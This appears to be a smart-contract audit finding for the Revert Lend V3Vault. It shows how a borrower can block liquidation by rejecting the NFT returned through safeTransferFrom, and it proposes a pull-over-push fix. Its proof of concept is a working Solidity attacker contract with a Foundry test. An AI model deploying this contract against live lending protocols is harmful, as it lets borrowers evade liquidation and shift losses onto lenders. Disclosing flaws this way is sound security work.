Revert Lend - 0rpse's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L744 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083

Vulnerability details

Impact

Borrowers can block liquidations.

Proof of Concept

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L744 At the end of the liquidate function _cleanupLoan is called, in which position NFT will be sent to the owner using safeTransferFrom. https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083 The problem is that safeTransferFrom will call onERC721Received on the receiver if receiver is a smart contract, so the position owner has the ability to not return the proper selector if he/she wants to and revert the entire liquidation process.

Coded Poc:

    contract AttackerContract { 
        bool public isRejecting = true;

        INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
        uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320)

        // create position 
        function createPosition(V3Vault vault) external {
            NPM.approve(address(vault), TEST_NFT);
            vault.create(TEST_NFT, address(this));
            (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
            vault.borrow(TEST_NFT, collateralValue);
        }
        // reject nft by choice, stops liquidation
        function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
            if(isRejecting)
                return 0;
            return IERC721Receiver.onERC721Received.selector;
        }

        function setIsRejecting(bool _isRejecting) external {
            isRejecting = _isRejecting;
        }
    }

    function testLiquidationNFTRejection() external {
        _testLiquidationNFTRejection(LiquidationType.TimeBased);
    }

    function _testLiquidationNFTRejection(LiquidationType lType) internal {
        // _setupBasicLoan(true);
        _deposit(10000000, WHALE_ACCOUNT);
        AttackerContract at = new AttackerContract();

        vm.prank(TEST_NFT_ACCOUNT);
        IERC721(NPM).transferFrom(TEST_NFT_ACCOUNT, address(at), TEST_NFT);
        
        at.createPosition(vault);

        (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
        assertEq(collateralValue, 8847206);
        assertEq(fullValue, 9830229);

        // debt is equal collateral value
        (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);
        assertEq(debt, collateralValue);
        assertEq(liquidationCost, 0);
        assertEq(liquidationValue, 0);

        if (lType == LiquidationType.TimeBased) {
            // wait 7 day - interest growing
            vm.warp(block.timestamp + 7 days);
        } else if (lType == LiquidationType.ValueBased) {
            // collateral DAI value change -100%
            vm.mockCall(
                CHAINLINK_DAI_USD,
                abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
                abi.encode(uint80(0), int256(0), block.timestamp, block.timestamp, uint80(0))
            );
        } else {
            vault.setTokenConfig(address(DAI), uint32(Q32 * 2 / 10), type(uint32).max); // 20% collateral factor
        }

        if (lType == LiquidationType.ValueBased) {
            // should revert because oracle and pool price are different
            vm.expectRevert(IErrors.PriceDifferenceExceeded.selector);
            (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);

            // ignore difference - now it will work
            oracle.setMaxPoolPriceDifference(10001);
        }

        // debt is greater than collateral value
        (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);

        // debt only grows in time based scenario
        assertEq(
            debt,
            lType == LiquidationType.TimeBased ? 8869647 : (lType == LiquidationType.ValueBased ? 8847206 : 8847206)
        );

        // collateral value is lower in non time based scenario
        assertEq(
            collateralValue,
            lType == LiquidationType.TimeBased ? 8847206 : (lType == LiquidationType.ValueBased ? 8492999 : 1966045)
        );
        assertEq(
            fullValue,
            lType == LiquidationType.TimeBased ? 9830229 : (lType == LiquidationType.ValueBased ? 9436666 : 9830229)
        );

        assertGt(debt, collateralValue);
        assertEq(
            liquidationCost,
            lType == LiquidationType.TimeBased ? 8869647 : (lType == LiquidationType.ValueBased ? 8492999 : 8847206)
        );
        assertEq(
            liquidationValue,
            lType == LiquidationType.TimeBased ? 9226564 : (lType == LiquidationType.ValueBased ? 9436666 : 9729910)
        );

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost - 1);

        (uint256 debtShares) = vault.loans(TEST_NFT);

        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert("ERC20: transfer amount exceeds allowance");
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);

        uint256 daiBalance = DAI.balanceOf(WHALE_ACCOUNT);
        uint256 usdcBalance = USDC.balanceOf(WHALE_ACCOUNT);

        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer"); // block liquidation
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

        at.setIsRejecting(false); // let liquidation through

        vm.prank(WHALE_ACCOUNT);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

        //  NFT was returned to owner
        assertEq(NPM.ownerOf(TEST_NFT), address(at));

        // all debt is payed
        assertEq(vault.debtSharesTotal(), 0);
    }

Recommended Mitigation Steps

Use a pull over push pattern, this can be done by approving the owner instead of transfering the NFT.

Assessed type

DoS